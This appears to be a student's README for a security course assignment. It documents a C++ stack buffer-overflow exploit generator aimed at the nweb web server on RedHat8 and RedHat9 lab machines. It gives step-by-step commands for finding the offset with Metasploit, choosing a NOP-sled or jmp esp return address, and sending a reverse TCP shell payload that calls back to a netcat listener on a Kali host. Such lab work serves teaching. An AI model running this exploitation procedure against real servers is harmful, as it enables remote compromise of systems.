Programming Assignment 1 - Eric Seals

Documentation for correctly using the exploit generator. There are two directories for task 1 and task 2, which are exploit8 and exploit9 respectively.

Task 1

Compile the c++ exploiter

There are two relevant files, `exploit8.cpp` and `Makefile`.

Build:

```
$ make
```

Run:

```
$ ./exploit <memory address> <offset>
```

Find Offset and Memory Address

Confirm the web server is running on `192.168.180.40:8888`. On the Kali machine with IP `192.168.180.10`, generate arbitrarily long malicious input to crash program. For example, start with the character 'A' 1500 times.

```
$ EGG=`perl -e "print 'A'x1500"`
$ echo GET $EGG HTTP/1.0 | nc 192.168.180.40 8888
```

With a valid length input which crashes program, use metasploit to find exact size. For example, 1500 is used below as this was the experimentally found value large enough to crash the server.

```
$ cd /usr/share/metasploit-framework/tools/exploit
$ ./pattern_create.rb -l 1500
```

Assign the output of this program into the environment variable `$EGG` and issue the above echo again. On the redhat8 vm, open the newly generated core file with gdb.

```
$ gdb --core core.xyz
```

Copy the value where the program crashed, for example `0x69423469`. Also note the address of $esp by the following command in gdb, for example `0xbffffb00`.

```
x/x $esp
```

Back on the Kali machine at the same working directory used to create the pattern, execute:

```
$ ./pattern_offset.rb -q 0x69423469
```

This will now give you the offset which was found to be `1033`.

Use the exploit (almost there)

Now use the cpp program with the offset and the jump location as an arbitrary value:

```
$ EGG=`./exploit 41414141 1033`
```

There's two options at this point, either (1) send this input to the RedHat8 machine, open the core file generated on the RedHat8 machine in gdb, and search through the memory around `x/64 $esp-0x300` to find a jump location that hits in the NOP Sled (where the memory addresses are 0x90), or (2) use the observed $esp from above and subtract the hex value outputted to cerr when running the above command and use this value as an address.

Now use the cpp program with a found address:

```
$ EGG=`./exploit bfff6f7 1033`
```

On another terminal window in Kali, run the following netcat command to receive the shell

```
$ nc -l -p 8228 -nvv
```

And finally on the first window, execute:

```
$ echo GET /$EGG HTTP/1.0|nc 192.168.180.40 8888
```

Some Notes

The shell byte code is generated with metasploit, specifically the linux/x86/shell_reverse_tcp with x86/alpha_mixed encoder. LHOST=192.168.180.10 and LPORT=8228.

These values were generated exactly the same way as described in the September 7th lecture.

Task 2

Please proceed into exploit9 directory and make the code as in the previous task.

Build:

```
$ make
```

Run:

```
$ ./exploit <jmp address> <offset>
```

For this task, several aspects are the same from the previous task. These are (1) nweb offset, (2) shell byte code, (3) and the LPORT and LHOST for the Kali machine to listen. This assumes a RedHat9 vm running with IP address 192.168.180.50 with the web server running on port 8888.

Stack Randomization

In order to get around the stack randomization, the provided program `searchJmpCode` is used to find an address to overwrite the EIP. This is ran on the RedHat9 machine, and for example one jmp is found at `0x42122ba7`. This address exploits the static memory location of libc (or any popular, or commonly used library) and searchs for a pattern in the code for a `jmp esp`.

With this, the exploit works similarly as it overwrites the EIP with a found address, but now it places the shell byte code after the ESP (with enough space for decoder bytes).

To run, in a Kali window to receive the shell:

```
$ nc -l -p 8228 -nvv
```

On another terminal window in Kali, run the following two commands to receive the shell

Run:

```
$ EGG=`./exploit 42122ba7 1033`
$ echo GET /$EGG HTTP/1.0|nc 192.168.180.50 8888
```